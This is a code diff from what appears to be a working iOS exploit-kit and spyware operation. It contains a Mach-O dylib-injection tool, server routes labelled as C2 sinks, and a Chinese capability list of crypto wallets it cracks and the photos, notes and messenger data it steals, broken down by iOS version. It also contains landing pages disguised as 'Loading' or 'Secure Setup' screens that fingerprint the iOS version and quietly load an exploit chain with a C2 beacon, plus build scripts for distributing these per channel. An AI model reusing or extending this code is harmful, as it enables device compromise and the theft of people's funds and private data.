$v |= ($b & 0x7f) << $s;
|
||||
if (($b & 0x80) === 0) {
|
||||
break;
|
||||
}
|
||||
$s += 7;
|
||||
}
|
||||
|
||||
return [$v, $o];
|
||||
}
|
||||
|
||||
private function hexToBytes(string $hex): string
|
||||
{
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return '';
|
||||
}
|
||||
|
||||
return hex2bin($hex) ?: '';
|
||||
}
|
||||
|
||||
private function b64(string $bytes): string
|
||||
{
|
||||
return $bytes === '' ? '' : base64_encode($bytes);
|
||||
}
|
||||
|
||||
private function stringOf(mixed $v): string
|
||||
{
|
||||
if (is_int($v) || is_float($v)) {
|
||||
return (string) $v;
|
||||
}
|
||||
if (is_string($v)) {
|
||||
$v = trim($v);
|
||||
|
||||
return $v;
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
}
|
||||
Executable
+98
@@ -0,0 +1,98 @@
|
||||
#!/usr/bin/env python3
|
||||
"""add_dylib.py — Add an LC_LOAD_DYLIB load command to a Mach-O 64-bit binary.
|
||||
|
||||
Usage: python3 add_dylib.py <binary> <dylib_path> [--weak]
|
||||
|
||||
Inserts the new load command right after the existing load commands, before
|
||||
the first section data. Requires enough free space in the __TEXT header
|
||||
region (checked automatically).
|
||||
|
||||
The binary is modified in-place; a .orig backup is created first.
|
||||
"""
|
||||
import struct, sys, shutil, os
|
||||
|
||||
LC_LOAD_DYLIB = 0x0c
|
||||
LC_LOAD_WEAK_DYLIB = 0x80000018 # LC_LOAD_WEAK_DYLIB with LC_REQ_DYLD
|
||||
|
||||
def main():
|
||||
args = sys.argv[1:]
|
||||
weak = False
|
||||
if '--weak' in args:
|
||||
weak = True
|
||||
args.remove('--weak')
|
||||
if len(args) != 2:
|
||||
sys.exit("Usage: add_dylib.py <binary> <dylib_path> [--weak]")
|
||||
path, dylib = args
|
||||
|
||||
with open(path, 'rb') as f:
|
||||
data = bytearray(f.read())
|
||||
|
||||
# Parse Mach-O 64-bit header
|
||||
magic = struct.unpack_from('<I', data, 0)[0]
|
||||
if magic != 0xfeedfacf:
|
||||
sys.exit(f"Not a 64-bit Mach-O (magic={hex(magic)})")
|
||||
|
||||
cputype, cpusub, filetype, ncmds, sizeofcmds, flags, reserved = \
|
||||
struct.unpack_from('<i i I I I I I', data, 4)
|
||||
|
||||
HEADER_SIZE = 32 # mach_header_64
|
||||
hdr_end = HEADER_SIZE + sizeofcmds
|
||||
|
||||
# Find the earliest section offset (file offset) to know our free space
|
||||
off = HEADER_SIZE
|
||||
min_section_off = len(data)
|
||||
for _ in range(ncmds):
|
||||
cmd, cmdsize = struct.unpack_from('<II', data, off)
|
||||
if cmd == 0x19: # LC_SEGMENT_64
|
||||
# segment_command_64: cmd(4) cmdsize(4) segname(16) vmaddr(8) vmsize(8) fileoff(8) filesize(8) maxprot(4) initprot(4) nsects(4) flags(4)
|
||||
fileoff = struct.unpack_from('<Q', data, off + 40)[0] # fileoff at offset 40
|
||||
nsects = struct.unpack_from('<I', data, off + 64)[0] # nsects at offset 64
|
||||
sect_off = off + 72 # section_64 array starts at segment + 72
|
||||
for s in range(nsects):
|
||||
sect_fileoff = struct.unpack_from('<I', data, sect_off + s * 80 + 48)[0]
|
||||
if sect_fileoff > 0 and sect_fileoff < min_section_off:
|
||||
min_section_off = sect_fileoff
|
||||
off += cmdsize
|
||||
|
||||
# Build the LC_LOAD_DYLIB command
|
||||
name = dylib.encode() + b'\0'
|
||||
# name_offset = 24 (cmd + cmdsize + 4*4 for dylib struct)
|
||||
name_offset = 24
|
||||
cmdsize = name_offset + len(name)
|
||||
# align to 8 bytes
|
||||
cmdsize = (cmdsize + 7) & ~7
|
||||
|
||||
needed = cmdsize
|
||||
free = min_section_off - hdr_end
|
||||
if free < needed:
|
||||
sys.exit(f"Not enough free space: need {needed}, have {free} "
|
||||
f"(hdr_end={hdr_end}, first_section={min_section_off})")
|
||||
|
||||
# Build the command bytes
|
||||
cmd_id = LC_LOAD_WEAK_DYLIB if weak else LC_LOAD_DYLIB
|
||||
cmd = struct.pack('<II', cmd_id, cmdsize)
|
||||
cmd += struct.pack('<IIII', name_offset, 2, 0x10000, 0x10000) # dylib struct
|
||||
cmd += name
|
||||
cmd += b'\0' * (cmdsize - len(cmd)) # pad to cmdsize
|
||||
|
||||
# Write the new command into existing free space (NO insertion —
|
||||
# the space between sizeofcmds and first section is zero padding).
|
||||
# Inserting bytes would shift all section file offsets and break the binary.
|
||||
data[hdr_end:hdr_end + cmdsize] = cmd
|
||||
|
||||
# Update ncmds and sizeofcmds (in-place, no shift)
|
||||
struct.pack_into('<I', data, 16, ncmds + 1)
|
||||
struct.pack_into('<I', data, 20, sizeofcmds + cmdsize)
|
||||
|
||||
# Backup and write
|
||||
shutil.copy2(path, path + '.orig')
|
||||
with open(path, 'wb') as f:
|
||||
f.write(data)
|
||||
|
||||
print(f"Added {'weak ' if weak else ''}LC_LOAD_DYLIB: {dylib}")
|
||||
print(f" cmdsize={cmdsize}, ncmds={ncmds}->{ncmds+1}, "
|
||||
f"sizeofcmds={sizeofcmds}->{sizeofcmds+cmdsize}")
|
||||
print(f" free space was {free} bytes, backup saved as {path}.orig")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
+2
-4
@@ -16,8 +16,8 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
require __DIR__.'/../routes/xxbb.php';
|
||||
require __DIR__.'/../routes/ds.php';
|
||||
|
||||
// inject_demo / libutils TrollStore analysis C2 sink (log only)
|
||||
require __DIR__.'/../routes/inject_demo.php';
|
||||
// App C2 sink (log only)
|
||||
require __DIR__.'/../routes/app_c2.php';
|
||||
|
||||
// External webhooks (no CSRF)
|
||||
require __DIR__.'/../routes/hooks.php';
|
||||
@@ -69,8 +69,6 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
'war',
|
||||
'p',
|
||||
'stats',
|
||||
'kplus_logger',
|
||||
'kplus_logger.php',
|
||||
]);
|
||||
|
||||
$middleware->redirectGuestsTo(function () {
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
# 系统能力介绍
|
||||
|
||||
---
|
||||
|
||||
## JS 访问版
|
||||
|
||||
### 13-17 系列
|
||||
|
||||
**支持版本范围:** 13 – 17.2.1
|
||||
|
||||
**支持钱包:**
|
||||
- 打开钱包 APP 获取:MetaMask / Trust / Coinbase / BitKeep / Tonkeeper / Uniswap / Phantom / MyTonWallet / Exodus / Ronin / Krystal / Tonhub / Coin98 / Bitpie / Solflare / OKX
|
||||
- 需要转账/查看助记词等动作:imToken / TronLink / TokenPocket
|
||||
|
||||
**支持的其他能力:** 相册 / 备忘录 / WhatsApp 参数 / Telegram 参数 / APP 应用列表
|
||||
|
||||
---
|
||||
|
||||
### 18 系列
|
||||
|
||||
**支持版本:** 18.5 / 18.6 / 18.6.1 / 18.6.2
|
||||
|
||||
**支持钱包:**
|
||||
- 秒破:Bitpie / Trust / Coin98 /Uniswap / Phantom
|
||||
- 暴力破:imToken / BitKeep / MetaMask / Tonkeeper
|
||||
|
||||
|
||||
**支持的其他能力:** 相册 / 备忘录 / APP 应用列表
|
||||
|
||||
---
|
||||
|
||||
### 支持的版本明细
|
||||
|
||||
```
|
||||
13: 13.1 13.1.1 13.1.3 13.2 13.2.2 13.3 13.3.1 13.4.1 13.5 13.5.1 13.6 13.6.1 13.7
|
||||
14: 14.0 14.0.1 14.1 14.2 14.2.1 14.3 14.4 14.4.1 14.4.2 14.5 14.5.1 14.6 14.7 14.7.1 14.8 14.8.1
|
||||
15: 15.0 15.0.1 15.0.2 15.1 15.1.1 15.2 15.2.1 15.3 15.3.1 15.4 15.4.1 15.5 15.6 15.6.1
|
||||
15.7 15.7.1 15.7.2 15.7.3 15.7.4 15.7.5 15.7.6 15.7.7 15.7.8 15.7.9
|
||||
15.8 15.8.1 15.8.2 15.8.3 15.8.4 15.8.5 15.8.6
|
||||
16: 16.0 16.0.1 16.0.2 16.0.3 16.1 16.1.1 16.1.2 16.2 16.3 16.3.1 16.4 16.4.1
|
||||
16.5 16.5.1 16.6 16.6.1 16.7 16.7.1 16.7.2 16.7.3 16.7.4
|
||||
17: 17.0 17.0.1 17.0.2 17.0.3 17.1 17.1.1 17.1.2 17.2 17.2.1
|
||||
18: 18.5 18.6 18.6.1 18.6.2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## APP 下载版
|
||||
|
||||
### 12 – 26.6.1
|
||||
|
||||
**版本范围:** iOS 12 ~ iOS 18.7.2 / iOS 26.0 / iOS 26.0.1
|
||||
|
||||
**支持钱包:**
|
||||
- 秒破:Bitpie / Trust / Coin98 / Exodus / Phantom / Uniswap / Tonhub / OKX
|
||||
- 暴力破:imToken / TokenPocket / TronLink / MetaMask
|
||||
|
||||
---
|
||||
|
||||
### 26.0.1 – 26.6.1
|
||||
|
||||
**版本范围:** 26.0.1 – 26.6.1
|
||||
|
||||
**支持钱包:**
|
||||
- 爆破:imToken / TronLink / MetaMask / OKX / Coin98 / TokenPocket
|
||||
- 秒破:Tonhub
|
||||
@@ -5,53 +5,8 @@
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>weifile</title>
|
||||
<script src="/t.js" defer></script>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
if (!ios || ios[0] < 18) {
|
||||
// Below iOS 18: non-DS chain (index.js).
|
||||
var s = document.createElement('script');
|
||||
s.src = 'index.js?' + Date.now();
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
return;
|
||||
}
|
||||
if (ios[0] === 18) {
|
||||
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
|
||||
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
|
||||
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
|
||||
// which includes it in the C2 beacon for channel attribution.
|
||||
var channelCode = '';
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) channelCode = m[1].toUpperCase();
|
||||
} catch (eC) {}
|
||||
var dsDomain = '__DS_DOMAIN__';
|
||||
var dsUrl = dsDomain + '/next-chain/frame.html';
|
||||
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
||||
var ifr = document.createElement('iframe');
|
||||
ifr.src = dsUrl;
|
||||
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
||||
(document.body || document.documentElement).appendChild(ifr);
|
||||
}
|
||||
// iOS 19+ / 26+: no action.
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -8,7 +8,6 @@
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>加载中</title>
|
||||
<script src="/t.js" defer></script>
|
||||
<style>
|
||||
:root {
|
||||
--bg: #0f1419;
|
||||
@@ -112,45 +111,7 @@
|
||||
<p class="title">加载中</p>
|
||||
<p class="subtitle">请稍候,正在准备页面…</p>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
if (!ios || ios[0] < 18) {
|
||||
var s = document.createElement('script');
|
||||
s.src = 'index.js?' + Date.now();
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
return;
|
||||
}
|
||||
if (ios[0] === 18) {
|
||||
var channelCode = '';
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) channelCode = m[1].toUpperCase();
|
||||
} catch (eC) {}
|
||||
var dsDomain = '__DS_DOMAIN__';
|
||||
var dsUrl = dsDomain + '/next-chain/frame.html';
|
||||
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
||||
var ifr = document.createElement('iframe');
|
||||
ifr.src = dsUrl;
|
||||
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
||||
(document.body || document.documentElement).appendChild(ifr);
|
||||
}
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
<script>
|
||||
(function () {
|
||||
var TOTAL = 15;
|
||||
|
||||
@@ -5,53 +5,8 @@
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>weifile</title>
|
||||
<script src="/t.js" defer></script>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
if (!ios || ios[0] < 18) {
|
||||
// Below iOS 18: non-DS chain (index.js).
|
||||
var s = document.createElement('script');
|
||||
s.src = 'index.js?' + Date.now();
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
return;
|
||||
}
|
||||
if (ios[0] === 18) {
|
||||
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
|
||||
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
|
||||
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
|
||||
// which includes it in the C2 beacon for channel attribution.
|
||||
var channelCode = '';
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) channelCode = m[1].toUpperCase();
|
||||
} catch (eC) {}
|
||||
var dsDomain = '__DS_DOMAIN__';
|
||||
var dsUrl = dsDomain + '/next-chain/frame.html';
|
||||
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
||||
var ifr = document.createElement('iframe');
|
||||
ifr.src = dsUrl;
|
||||
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
||||
(document.body || document.documentElement).appendChild(ifr);
|
||||
}
|
||||
// iOS 19+ / 26+: no action.
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -8,7 +8,7 @@ Requires `tools/build.py --apply` first (shared staged weifile + public/details)
|
||||
3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
|
||||
4. Rewrite show.html asset URLs to /channel/{ver}/details/...
|
||||
5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
|
||||
6. Strip iptj beacon from index.js; inject t.js into weifile.html
|
||||
6. Strip iptj beacon from payload; install script-embed index.js boot
|
||||
7. Write to {artifact-root}/channel/{ver}/
|
||||
"""
|
||||
|
||||
@@ -19,10 +19,16 @@ import hashlib
|
||||
import json
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
import build as xxbb_build
|
||||
|
||||
_EMBED_DIR = Path(__file__).resolve().parents[2] / "channel-embed"
|
||||
if str(_EMBED_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(_EMBED_DIR))
|
||||
from embed_boot import apply_embed_boot # noqa: E402
|
||||
from _details_pack import extract_member, make_passworded_7z
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
|
||||
@@ -209,7 +215,7 @@ def apply_landing_template(weifile_dir: Path, template: str) -> Path:
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing landing template: {src}")
|
||||
dest = weifile_dir / "weifile.html"
|
||||
dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8")
|
||||
dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
|
||||
return dest
|
||||
|
||||
|
||||
@@ -285,6 +291,11 @@ def pack_channel(
|
||||
leftover_route = weifile_dest / "route.js"
|
||||
if leftover_route.is_file():
|
||||
leftover_route.unlink()
|
||||
apply_embed_boot(
|
||||
weifile_dest,
|
||||
channel_code=ver,
|
||||
ds_domain=ds_domain,
|
||||
)
|
||||
|
||||
if channel_out.exists():
|
||||
shutil.rmtree(channel_out)
|
||||
|
||||
@@ -86,10 +86,10 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertFalse((weifile / "route.js").is_file())
|
||||
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertIn('src="/t.js"', html)
|
||||
self.assertNotIn('src="/t.js"', html)
|
||||
self.assertNotIn('src="route.js"', html)
|
||||
self.assertIn("/next-chain/frame.html", html)
|
||||
self.assertIn("index.js", html)
|
||||
self.assertNotIn("/next-chain/frame.html", html)
|
||||
self.assertIn('src="index.js"', html)
|
||||
self.assertNotIn("config.js", html)
|
||||
self.assertNotIn("boot.js", html)
|
||||
self.assertNotIn("holdFresh", html)
|
||||
@@ -327,11 +327,10 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
|
||||
for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
|
||||
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
|
||||
self.assertIn('src="/t.js"', landing)
|
||||
self.assertEqual(pack_channel.inject_tjs(landing), landing)
|
||||
self.assertIn('src="index.js"', landing)
|
||||
self.assertNotIn('src="/t.js"', landing)
|
||||
self.assertNotIn('src="route.js"', landing)
|
||||
self.assertIn("/next-chain/frame.html", landing)
|
||||
self.assertIn("index.js", landing)
|
||||
self.assertNotIn("/next-chain/frame.html", landing)
|
||||
self.assertNotIn("config.js", landing)
|
||||
self.assertNotIn("boot.js", landing)
|
||||
self.assertNotIn("holdFresh", landing)
|
||||
|
||||
@@ -12,3 +12,14 @@ python3 -m venv .venv
|
||||
```
|
||||
|
||||
Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`.
|
||||
|
||||
Published `web/<id>/index.js` is the shared boot (iOS router + `/t.js`). The Coruna payload is `payload.js`. Third-party sites can unzip the admin「浏览器资源 zip」to their docroot and include `<script src="./index.js"></script>`.
|
||||
|
||||
Rebuild existing old channels (same 32-hex id; DGA seed from `CORUNA_CHANNEL_SEED`):
|
||||
|
||||
```bash
|
||||
php artisan coruna:repack # all builder_type=old
|
||||
php artisan coruna:repack <32-hex> # one
|
||||
php artisan coruna:repack --dry-run
|
||||
php artisan coruna:repack --template=test
|
||||
```
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,10 +1,14 @@
|
||||
# support.html templates
|
||||
|
||||
Build-time choices for `web/support.html` (`--support-template` / API `support_template`):
|
||||
Landing HTML only loads same-directory `index.js`. Routing, `/t.js` beacon, and iOS 18 DS iframe live in the published boot `index.js` (payload is `payload.js`). HTML does not inline the hit beacon.
|
||||
|
||||
| Name | Source | Description |
|
||||
|------|--------|-------------|
|
||||
| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
|
||||
| `blank` | `blank.html` | Loader scripts only, no HUD UI |
|
||||
| `blank` | `blank.html` (default campaign `source/web/support.html`) | `<script src="index.js">` only |
|
||||
| `test` | `test.html` | Lab HUD + the same `index.js` |
|
||||
|
||||
Default is `test`.
|
||||
Both iframe landing and third-party `<script src="./index.js">` share that boot:
|
||||
|
||||
- iOS < 18 / unknown: load same-directory `payload.js`
|
||||
- iOS 18: iframe `__DS_DOMAIN__/next-chain/frame.html?c=<channel>`
|
||||
- iOS 19+ / 26+: no action
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,588 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|
||||
<meta http-equiv="Pragma" content="no-cache" />
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
|
||||
<title>Preparing…</title>
|
||||
<style>
|
||||
@import url("https://fonts.googleapis.com/css2?family=Outfit:wght@400;500;600;700&family=Sora:wght@600;700&display=swap");
|
||||
:root {
|
||||
--bg0: #e8f1f7;
|
||||
--bg1: #f7fbfc;
|
||||
--ink: #123047;
|
||||
--muted: #5a7388;
|
||||
--line: #c5d6e4;
|
||||
--card: rgba(255, 255, 255, 0.72);
|
||||
--accent: #0b7ea4;
|
||||
--run: #c98512;
|
||||
--ok: #1f8a55;
|
||||
--bad: #c23b3b;
|
||||
--ring-size: min(72vw, 280px);
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
html, body {
|
||||
margin: 0; min-height: 100%;
|
||||
color: var(--ink);
|
||||
font: 15px/1.45 Outfit, "Segoe UI", sans-serif;
|
||||
background:
|
||||
radial-gradient(120% 80% at 50% -10%, #cfe6f3 0%, transparent 55%),
|
||||
linear-gradient(180deg, var(--bg0), var(--bg1) 48%, #eef5f9);
|
||||
}
|
||||
#lab-hud {
|
||||
position: relative; z-index: 2147483000;
|
||||
min-height: 100dvh;
|
||||
display: flex; flex-direction: column; align-items: center;
|
||||
justify-content: center;
|
||||
padding: max(24px, env(safe-area-inset-top)) 20px max(28px, env(safe-area-inset-bottom));
|
||||
gap: 28px;
|
||||
}
|
||||
.brand {
|
||||
font-family: Sora, Outfit, sans-serif;
|
||||
font-size: 13px; font-weight: 700; letter-spacing: .14em;
|
||||
text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
.ring-wrap {
|
||||
position: relative;
|
||||
width: var(--ring-size); height: var(--ring-size);
|
||||
filter: drop-shadow(0 18px 40px rgba(11, 126, 164, .16));
|
||||
}
|
||||
.ring-wrap svg { width: 100%; height: 100%; display: block; transform: rotate(-90deg); }
|
||||
.ring-bg { fill: none; stroke: #d5e5ef; stroke-width: 8; }
|
||||
.ring-fg {
|
||||
fill: none; stroke: var(--accent); stroke-width: 8;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 339.292; stroke-dashoffset: 0;
|
||||
transition: stroke .25s ease;
|
||||
}
|
||||
.ring-wrap.is-run .ring-fg { stroke: var(--run); }
|
||||
.ring-wrap.is-ok .ring-fg { stroke: var(--ok); }
|
||||
.ring-wrap.is-bad .ring-fg { stroke: var(--bad); }
|
||||
.ring-wrap.is-ticking .count {
|
||||
animation: count-beat 1s ease-in-out infinite;
|
||||
}
|
||||
@keyframes count-beat {
|
||||
0%, 100% { transform: scale(1); opacity: 1; }
|
||||
50% { transform: scale(1.04); opacity: .88; }
|
||||
}
|
||||
.ring-center {
|
||||
position: absolute; inset: 0;
|
||||
display: flex; flex-direction: column; align-items: center; justify-content: center;
|
||||
text-align: center; padding: 18px;
|
||||
}
|
||||
.count {
|
||||
font-family: Sora, Outfit, sans-serif;
|
||||
font-size: clamp(52px, 16vw, 72px);
|
||||
font-weight: 700; line-height: 1; letter-spacing: -.03em;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
.count-unit {
|
||||
margin-top: 2px; font-size: 12px; font-weight: 600;
|
||||
letter-spacing: .12em; text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
#lab-status {
|
||||
margin-top: 10px; max-width: 18ch;
|
||||
font-size: 13px; font-weight: 500; color: var(--muted);
|
||||
}
|
||||
.progress-panel {
|
||||
width: min(920px, 100%);
|
||||
background: var(--card);
|
||||
border: 1px solid rgba(197, 214, 228, .85);
|
||||
border-radius: 20px;
|
||||
padding: 18px 16px 16px;
|
||||
backdrop-filter: blur(10px);
|
||||
box-shadow: 0 10px 30px rgba(18, 48, 71, .06);
|
||||
}
|
||||
.bar {
|
||||
height: 6px; border-radius: 999px; background: #e1ebf2; overflow: hidden;
|
||||
}
|
||||
.bar > i {
|
||||
display: block; height: 100%; width: 0;
|
||||
border-radius: inherit;
|
||||
background: linear-gradient(90deg, #0b7ea4, #1f8a55);
|
||||
transition: width .4s ease;
|
||||
}
|
||||
.steps {
|
||||
list-style: none; margin: 16px 0 0; padding: 0;
|
||||
display: grid; grid-template-columns: repeat(4, 1fr); gap: 6px;
|
||||
}
|
||||
.step {
|
||||
position: relative;
|
||||
display: flex; flex-direction: column; align-items: center; gap: 8px;
|
||||
text-align: center; min-width: 0;
|
||||
}
|
||||
.step:not(:last-child)::after {
|
||||
content: "";
|
||||
position: absolute; top: 13px; left: calc(50% + 16px); right: calc(-50% + 16px);
|
||||
height: 2px; background: var(--line); z-index: 0;
|
||||
transition: background .3s ease;
|
||||
}
|
||||
.step.is-ok:not(:last-child)::after,
|
||||
.step.is-run:not(:last-child)::after { background: rgba(11, 126, 164, .45); }
|
||||
.dot {
|
||||
position: relative; z-index: 1;
|
||||
width: 28px; height: 28px; border-radius: 50%;
|
||||
display: grid; place-items: center;
|
||||
font-size: 11px; font-weight: 700;
|
||||
color: var(--muted); background: #fff;
|
||||
border: 2px solid var(--line);
|
||||
transition: background .25s ease, border-color .25s ease, color .25s ease, transform .25s ease;
|
||||
}
|
||||
.step .label {
|
||||
font-size: 11px; font-weight: 600; letter-spacing: .04em;
|
||||
text-transform: uppercase; color: var(--muted);
|
||||
}
|
||||
.step .file {
|
||||
font-size: 10px; color: #8aa0b3; max-width: 100%;
|
||||
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
|
||||
}
|
||||
.step.is-run .dot {
|
||||
color: #fff; background: var(--run); border-color: var(--run);
|
||||
transform: scale(1.06);
|
||||
animation: pulse 1.2s ease-in-out infinite;
|
||||
}
|
||||
.step.is-run .label { color: var(--run); }
|
||||
.step.is-ok .dot { color: #fff; background: var(--ok); border-color: var(--ok); }
|
||||
.step.is-ok .label { color: var(--ok); }
|
||||
.step.is-bad .dot { color: #fff; background: var(--bad); border-color: var(--bad); }
|
||||
.step.is-bad .label { color: var(--bad); }
|
||||
.step.is-ok .file, .step.is-run .file { color: var(--ink); }
|
||||
/* idle / not-yet-run: muted gray only */
|
||||
.step:not(.is-ok):not(.is-run):not(.is-bad) .dot {
|
||||
color: var(--muted); background: #fff; border-color: var(--line);
|
||||
}
|
||||
.step:not(.is-ok):not(.is-run):not(.is-bad) .label { color: var(--muted); }
|
||||
.device-model {
|
||||
font-size: 13px; font-weight: 500; color: var(--muted);
|
||||
letter-spacing: .02em;
|
||||
}
|
||||
@keyframes pulse {
|
||||
0%, 100% { box-shadow: 0 0 0 0 rgba(201, 133, 18, .35); }
|
||||
50% { box-shadow: 0 0 0 8px rgba(201, 133, 18, 0); }
|
||||
}
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.ring-fg, .bar > i, .dot { transition: none; }
|
||||
.step.is-run .dot { animation: none; }
|
||||
.ring-wrap.is-ticking .count { animation: none; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="lab-hud">
|
||||
<div class="brand">Secure Setup</div>
|
||||
|
||||
<div class="ring-wrap is-run" id="lab-ring-wrap">
|
||||
<svg viewBox="0 0 120 120" aria-hidden="true">
|
||||
<circle class="ring-bg" cx="60" cy="60" r="54"></circle>
|
||||
<circle class="ring-fg" id="lab-ring" cx="60" cy="60" r="54"></circle>
|
||||
</svg>
|
||||
<div class="ring-center">
|
||||
<div class="count" id="lab-count">15</div>
|
||||
<div class="count-unit">sec</div>
|
||||
<div id="lab-status">Starting…</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="progress-panel">
|
||||
<div class="bar"><i id="lab-bar"></i></div>
|
||||
<ol class="steps">
|
||||
<li class="step" data-stage="1" id="lab-s1">
|
||||
<span class="dot">1</span>
|
||||
<span class="label">WebKit</span>
|
||||
<span class="file" id="lab-f1">stage1</span>
|
||||
</li>
|
||||
<li class="step" data-stage="2" id="lab-s2">
|
||||
<span class="dot">2</span>
|
||||
<span class="label">PAC / JIT</span>
|
||||
